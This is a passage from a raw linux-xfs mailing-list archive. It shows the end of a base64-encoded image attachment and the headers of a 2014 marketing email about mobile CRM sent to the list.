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 BCAAAQhA4KkEKIs+NXLYDQEIQAACEIAABCAAAQhAAAIQgAAEIAABCEAAAhCAAAQgAAEIiAQoi4qg EIMABCAAAQhAAAIQgAAEIAABCEAAAhCAAAQgAAEIQAACEIAABJ5KgLLoUyOH3RCAAAQgAAEIQAAC EIAABCAAAQhAAAIQgAAEIAABCEAAAhCAgEiAsqgICjEIQAACEIAABCAAAQhAAAIQgAAEIAABCEAA AhCAAAQgAAEIQOCpBCiLPjVy2A0BCPxfe3ZoAwAAgDDs/695YZakHkGKhAABAgQIECBAgAABAgQI ECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZA gAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQ IECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECA AAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBA IAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAAB AgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl 9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAEC BAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQ IECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQI ECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBA gAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu 0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECA AAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAEC BAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAAB AgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQI ECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAEC rwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQ IECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOU GAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBA gAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAAB AgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECA AAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAEC BAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4 RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQI ECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZA gAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQ IECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECA AAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBA IAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAAB AgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl 9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAEC BAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQ IECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQI ECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBA gAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu 0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECA AAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAEC BAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAAB AgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQI ECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAEC rwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQ IECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOU GAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBA gAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAAB AgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECA AAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAEC BAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4 RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQI ECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZA gAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQ IECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECA AAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBA IAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAAB AgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl 9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAEC BAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQ IECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQI ECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBA gAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu 0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECA AAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAEC BAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAAB AgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQI ECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAEC rwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQ IECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOU GAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBA gAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAAB AgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECA AAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAEC BAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4 RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQI ECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZA gAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQ IECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECA AAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBA IAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl9CZAgAABAgQIECBAgAAB AgQIECBAgAABAgQIECBAIAq4RSOUGAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECrwJu0dfl 9CZAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAIAoMtiEhqdO35JIAAAAASUVORK5CYII= ------=_NextPart_000_1003_01CF1B57.BE8D26E0-- From bounce@mobitrackindia.com Mon Jan 27 07:01:50 2014 Return-Path: <bounce@mobitrackindia.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.4 required=5.0 tests=DATE_IN_PAST_03_06, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 82B0C7F61 for <linux-xfs@oss.sgi.com>; Mon, 27 Jan 2014 07:01:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54218304039 for <linux-xfs@oss.sgi.com>; Mon, 27 Jan 2014 05:01:47 -0800 (PST) X-ASG-Debug-ID: 1390827703-04bdf030eb159f40001-w1Z2WR Received: from slmp-550-30.slc.westdc.net (slmp-550-30.slc.westdc.net [174.127.106.57]) by cuda.sgi.com with ESMTP id rApuzp1MhtRNTmCu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <linux-xfs@oss.sgi.com>; Mon, 27 Jan 2014 05:01:44 -0800 (PST) X-Barracuda-Envelope-From: bounce@mobitrackindia.com X-Barracuda-Apparent-Source-IP: 174.127.106.57 Received: from mobipat3 by slmp-550-30.slc.westdc.net with local (Exim 4.82) (envelope-from <bounce@mobitrackindia.com>) id 1W7lot-003WSl-EP for linux-xfs@oss.sgi.com; Mon, 27 Jan 2014 06:01:43 -0700 To: linux-xfs@oss.sgi.com Subject: Mobile CRM on Microsoft Dynamic CRM and Salesforce.com Message-ID: <2af251b88ce8077d8fc144444c78480e@www.mobitrackindia.com> X-ASG-Orig-Subj: Mobile CRM on Microsoft Dynamic CRM and Salesforce.com Date: Mon, 27 Jan 2014 01:05:07 -0700 From: "Manoj Patel" <info@mobitrackindia.com> Reply-To: info@mobitrackindia.com MIME-Version: 1.0 X-Mailer-LID: 11 List-Unsubscribe: <http://www.mobitrackindia.com/admin/unsubscribe.php?M=59240&C=ba20f0db0433c36f1bd329d32b9f9200&L=11&N=10> X-Mailer-RecptId: 59240 X-Mailer-SID: 10 X-Mailer-Sent-By: 1 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_ce4629cbc0ffd568b2745e736b658dc2" Content-Transfer-Encoding: 8bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-30.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [1375 32007] / [47 12] X-AntiAbuse: Sender Address 